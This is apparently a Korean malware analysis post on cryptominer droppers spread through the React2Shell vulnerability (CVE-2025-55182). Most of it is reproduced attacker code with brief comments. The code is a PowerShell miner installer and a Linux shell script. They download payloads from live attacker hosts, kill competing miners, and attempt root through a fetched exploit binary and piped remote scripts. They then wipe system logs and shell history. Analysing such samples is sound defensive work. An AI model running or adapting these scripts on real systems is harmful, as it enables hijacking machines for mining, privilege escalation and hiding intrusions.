CVE-2025-55182(React2Shell)를 악용한 악성코드 유포 및 악성코드 분석

function Find-WritableDirectory { // 쓰기 가능한 폴더를 찾아 작업 폴더로 사용 param ( [switch]$ReturnToOriginal = $false ) # Save current directory to return later if needed $originalPath = $pwd.Path # Define directories to check (in priority order) $directoriesToCheck = @( $([System.Environment]::GetEnvironmentVariable('USERPROFILE')), $pwd.Path, # Current directory $([System.Environment]::GetEnvironmentVariable('TEMP')), # Temp directory $([System.Environment]::GetEnvironmentVariable('TMP')), # Alternative temp "C:\Windows\Temp", # Windows temp "C:\Temp", # Possible temp location "D:\Temp" # Another possible temp location ) == 중략 == function xmsInstall // 기존의 채굴 프로그램 검색 후 강제종료 루틴 { param($KEY) sc.exe stop c3pool_miner >$null sc.exe delete c3pool_miner >$null sc.exe stop jin_miner >$null sc.exe delete jin_miner >$null $DIR = Find-WritableDirectory if ($DIR) { Write-Host "[+] Working directory changed to: $DIR" } else { Write-Host "[-] No writable directory found, continuing in current directory" return } Set-Location $DIR write-host "[+] DIR: $($pwd.Path)" Write-Host "[+] UID: $KEY" Stop-Process -Name 'runner.exe' 2>$null Stop-Process -Name 'jin.exe' 2>$null Remove-Item -Force -Recurse cache 2>$null Remove-Item -Force -Recurse .xms 2>$null Remove-Item -Force runner.zip 2>$null Get-Process -name runner 2>$null if($?){ Write-Host "Miner is Running To EXIT" return } write-host "[+] start install" net session >$null 2>$null if($?){ $ADMIN=1 }else{ $ADMIN=0 } write-host "[+] ADMIN:$ADMIN" try { $uri = "http://inerna1.site/xb/runner.zip" $des = "runner.zip" Invoke-WebRequest -Uri $uri -UseBasicParsing -OutFile $des } catch { Write-Warning "Download Error: $_" return } if(Test-Path -Path "runner.zip" -PathType Leaf){ write-host "[+] ZIP IS OK" }else{ Get-ChildItem write-host "[-] ZIP IS Removed" return } # Unzip write-host "[+] DIR:$DIR" $SourceZip = Join-Path -Path $DIR -ChildPath "runner.zip" $DistDir = Join-Path -Path $DIR -ChildPath "cache" write-host "[+] SourceZip: $SourceZip" write-host "[+] DistDir: $DistDir" try{ Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($SourceZip, $DistDir) Write-Host "[+] Unzip Ok" } catch { Write-Warning "Error: $_" return } if(Test-Path -Path ".\cache\runner.exe"){ .\cache\runner.exe --version 2>$null if($?){ Write-Host "[+] Miner Is Ok" }else{ Write-Error "[-] Miner is Removed" return } } else { Write-host "[-] cache\runner.exe was removed by antivirus" return } [System.Environment]::SetEnvironmentVariable("KEY",$KEY) [System.Environment]::SetEnvironmentVariable("PASS","x") [System.Environment]::SetEnvironmentVariable("LOG",".app.log") try{ Start-Process "runner.exe" -WorkingDirectory cache -WindowStyle Hidden } catch { Write-Error "Error: $_" return } Get-Process -name runner 2>$null if($?){ Write-Host "[+] start Ok" }else{ Write-Host "[-] Start Error" } }

if [ -n "$1" ];then // 최초 실행 시 패스워드를 전달 받아 실행 PASSWORD=$1 elif [ -n "$UID" ]; then // 아닌 경우 UID를 패스워드로 사용 PASSWORD="$UID" else echo "[-] UID NOT FOUND" exit 1 fi // 시스템 아키텍처를 전달받아 사용 XDB="http://anywherehost.site/xb/systemd-devd.$(uname -m)?5.2isokgrep$PASSWORD" PWK="http://anywherehost.site/xms/su?isokgrep5.2&os=$(uname -o)&arch=$(uname -m)" CURL_DOWNLOAD_URL="http://anywherehost.site/curl/curl.$(uname -m)" echo "[*] start install" processName="systemd-devd" LDR="curl -k -fsSL -m 80" RUNNING=0 crontab -r 2>/dev/null ps aux | grep $processName | awk '{if($3<20) print $2}' | xargs -I % kill -9 % 2>/dev/null if [ "$(id -u)" -eq 0 ];then if [ -f /etc/ld.so.preload ];then chattr -ia /etc/ld.so.preload cat /dev/null >/etc/ld.so.preload fi ulimit -n 65535 echo '0' >/proc/sys/kernel/nmi_watchdog 2>/dev/null echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 2>/dev/null fi echo "[+] PASS=$PASSWORD" clean(){ // 기존의 채굴 프로그램 검색 후 강제종료 루틴 pkill kdevtmpfsi pkill kinsing pkill hazara pkill xmrig pkill killer == 중략 == fi fi done } loadCurl(){ # init wget // curl, wget 설치 여부 확인 및 설치된 프로그램을 변수에 로드 echo "[*] start init curl" if test -x "$(command -v curl)";then LDR="curl -fsSL" elif test -x "$(command -v wget)";then LDR="wget -q -O -" else echo "[-] NOT CURL OR WGET" // 둘 다 없는 경우 curl 설치 __curl $CURL_DOWNLOAD_URL > /tmp/curl chmod +x /tmp/curl if test -x "$(command -v /tmp/curl)";then LDR="/tmp/curl -fsSL" else echo "[-] NOT CURL" exit 0 fi fi echo "[+] LDR:$LDR" } loadCurl echo "[*] LDR:$LDR" clear(){ crontab -r 2>/dev/null } kill2(){ ps -ef | grep "kthreaddo" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 % $LDR "http://anywherehost.site/xms/kill2.sh?grep" | sh -s kthreaddo >.log 2>&1 & tail -100 .log echo "[+] start kill ok" } if [ "$(id -u)" = "0" ];then // root 여부 확인 echo "[+] current user $(whoami)" else if sudo -n true 2>/dev/null;then echo "[+] Use Sudo `whoami`" sudo bash -c "$LDR http://anywherehost.site/xms/k1.sh?grep | bash -s $PASSWORD" exit 0 elif [ "$(uname -m)" = "x86_64" ] || [ "$(uname -m)" = "i686" ]; then # check arch echo "[*] Try PWK" $LDR "$PWK" > pwn echo "[*] Download PWN OK" chmod +x pwn rm -rf "GCONV_PATH=." "gconv" if ./pwn -c "id" | grep "root";then echo "[+] Got root successful!" ./pwn -c "$LDR http://anywherehost.site/xms/k1.sh?grep | bash -s $PASSWORD" rm -rf "GCONV_PATH=." "gconv" exit 0 fi rm -rf "GCONV_PATH=." "gconv" pwn else echo "[+] Arch=$(uname -m)" fi fi install(){ # check file is ok if $LDR "$XDB" > $processName;then echo "[+] Use $LDR $XDB > $processName Successful" else # download for github echo "[-] Use $LDR $XDB > $processName Failed" exit 1 fi echo "[+] md5 $(md5sum $processName)" chmod +x $processName export PATH=$PATH:. if [ "$(id -u)" = "0" ];then ulimit -n 65535 2>/dev/null echo '0' >/proc/sys/kernel/nmi_watchdog 2>/dev/null echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 2>/dev/null echo "[+] clear so" chattr -ia /etc/ld.so.preload 2>/dev/null rm -rf /etc/ld.so.preload 2>/dev/null fi PASS="x" LOG=/dev/shm/.app.log KEY=$PASSWORD $processName -B echo "[+] install successful!" kill2 } install rm -rf $processName // 자가 삭제 if [ `id -u` -eq 0 ];then echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron fi echo "[*] EXIT" history -c rm -rf ~/.bash_history // 입력한 명령이 기록된 히스토리 파일 삭제